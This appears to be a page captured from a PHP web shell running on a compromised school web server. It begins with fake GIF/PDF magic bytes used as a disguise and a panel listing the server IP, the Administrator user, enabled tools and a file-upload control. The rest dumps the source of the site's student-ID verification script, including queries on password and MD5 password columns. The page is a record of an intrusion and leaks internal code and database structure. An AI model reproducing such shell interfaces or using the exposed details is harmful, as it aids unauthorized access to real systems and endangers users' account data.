GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/Scheduler/User db/ |
Upload File : |
<? // Login/userStudentIdVerify.phpinc if ($DEBUG_AuthenticateUser) echo "<b>".basename(__FILE__).":".__LINE__.":</b><br>\n"; t_Begin(); // This is a userStudentId verification. $f_error = ""; // Verify f_userStudentId if ( $f_form == 'form_userStudentId' ) { $f_userStudentId = formValue('userStudentId'); if ($f_userStudentId == '') { // The userStudentId is blank. $f_error = "The Student ID # information is incorrect."; $f_userStudentIdError = 'The Student ID # is blank. Please enter your Student ID # in the format: 00000000. Where 00000000 is your eight digit student ID #.'; } else { if (!preg_match("/^[0-9]{8}$/i",$f_userStudentId)) { // The userStudentId is not in the correct format. $f_error = "The Student ID # information is incorrect."; $f_userStudentIdError = 'The Student ID # is not in the correct format. Please enter your Student ID # in the format: 00000000. Where 00000000 is your eight digit student ID #.'; } } // Verify f_userStudentIdVerify $f_userStudentIdVerify = formValue('userStudentIdVerify'); if ($f_userStudentIdVerify != $f_userStudentId) { // The userStudentId is not the same as the userStudentIdVerify. $f_error = "The Student ID # information is incorrect."; $f_userStudentIdVerifyError = 'The Student ID # and Verify Student ID # fields do not match. Please correct your Student ID # and Verify Student ID #.'; } // Verify f_userStudentId not in database. if ( !$f_error ) { $query = " SELECT userId , userUsername , userPassword , userPasswordMD5 , userStudentId , userFirstName , userMiddleName , userLastName , userNickname , userDN , userEmail FROM `user` WHERE userStudentId = '".query_safe($f_userStudentId)."' ORDER BY userUsername "; $userStudentIdResult = query_do($query); $userStudentIdResultCount = $_SESSION['qry']['count']; $uniqueStudentID = true; if ( $userStudentIdResultCount ) { $f_error = "The Student ID # (".$f_userStudentId.") is already in use."; $uniqueStudentID = false; if ( $userStudentIdResultCount == 1 ) { /** / xprintQuery('$userStudentIdResult',$userStudentIdResult); d_Var('$f_userStudentId',$f_userStudentId); d_Var("\$_SESSION['userId']",$_SESSION['userId']); d_Var("\$_SESSION['trueuserId']",$_SESSION['trueuserId']); d_Var("\$_SESSION['userUsername']",$_SESSION['userUsername']); d_Var("\$_SESSION['userStudentId']",$_SESSION['userStudentId']); d_Var("\$_SESSION['userFirstName']",$_SESSION['userFirstName']); d_Var("\$_SESSION['userEmail']",$_SESSION['userEmail']); /**/ mysqli_data_seek($userStudentIdResult, 0); $userRow = mysqli_fetch_assoc($userStudentIdResult); #d_Var('$userRow',$userRow); if ( $_SESSION['userEmail'] == $userRow['userEmail'] ) { $query = " SELECT userId , userUsername , userPassword , userPasswordMD5 , userStudentId , userFirstName , userMiddleName , userLastName , userNickname , userDN , userEmail FROM `user` WHERE userId = '".query_safe($_SESSION['trueuserId'])."' "; $currentUserResult = query_do($query); $currentUserResultCount = $_SESSION['qry']['count']; if ( $currentUserResultCount == 1 ) { mysqli_data_seek($currentUserResult, 0); $currentRow = mysqli_fetch_assoc($currentUserResult); #d_Var('$currentRow',$currentRow); /**/ $f_lastModified = currentDateTime(); $query = " UPDATE `user` SET userUsername = '".query_safe($currentRow['userUsername'])."', userPassword = '".query_safe($currentRow['userPassword'])."', userPasswordMD5 = '".query_safe($currentRow['userPasswordMD5'])."', userFirstName = '".query_safe($currentRow['userFirstName'])."', userLastName = '".query_safe($currentRow['userLastName'])."', userPHPSESSID = '".session_id()."' WHERE userId = ".$userRow['userId']." "; #d_Var('userUpdate',$query,'q'); $userUpdate = query_do($query); // Save current userId. $deleteUserId = $_SESSION['trueuserId']; // Fix $_SESSION variables. $_SESSION['userId'] = $userRow['userId']; $_SESSION['trueuserId'] = $userRow['userId']; $_SESSION['userUsername'] = $currentRow['userUsername']; $_SESSION['userFirstName'] = $userRow['userFirstName']; $_SESSION['userFullName'] = trim($userRow['userFirstName'].' '.$userRow['userLastName']); $query = " SELECT userpermission.userpermissionName FROM useruserpermission LEFT JOIN userpermission ON useruserpermission.userpermissionId = userpermission.userpermissionId WHERE useruserpermission.userId = ".$_SESSION['userId']." AND userpermission.userpermissionInactive = 0 ORDER BY userpermission.userpermissionName "; $useruserpermissionResult = query_do($query); $useruserpermissionCount = $_SESSION['qry']['count']; $_SESSION['userPermissions'] = array(); $_SESSION['userPermissions'][] = "USER"; if ($useruserpermissionCount) { while ($useruserpermissionRow = mysqli_fetch_assoc($useruserpermissionResult)) { $_SESSION['userPermissions'][] = $useruserpermissionRow['userpermissionName']; } } d_Var("\$_SESSION['userPermissions']",$_SESSION['userPermissions']); // DELETE current user. $query = " DELETE FROM `user` WHERE userId = ".$deleteUserId." "; #d_Var('userDelete',$query,'q'); $userDelete = query_do($query); $uniqueStudentID = true; $f_error = ""; include('Login/returnFromLogin.phpinc'); /**/ } } } if ( !$uniqueStudentID ) { // The userStudentId is already in use. $f_error = "The Student ID # (".$f_userStudentId.") is already in use."; $f_StudentIdAlreadyInUse = true; #$f_userStudentIdVerifyError = '<br><span class="error">The Student ID # and Verify Student ID # fields do not match. Please correct your Student ID # and Verify Student ID #.</span>'; } } } } elseif ( $f_form == 'form_userStudentId' ) { } else { echo "<b>The form submitted (".$f_form.") is incorrect.</b><br>\n"; echo "There is a programming error.<br>\n"; echo "Please contact the site administrator.<br>\n"; exit; } if ($f_error == "") { // userStudentId verified, so enter it into the database. include("Login/userStudentIdPerform.phpinc"); } else { // userStudentId is not verified, so display userStudentId page. include("Login/userStudentId.phpinc"); } t_End(); ?>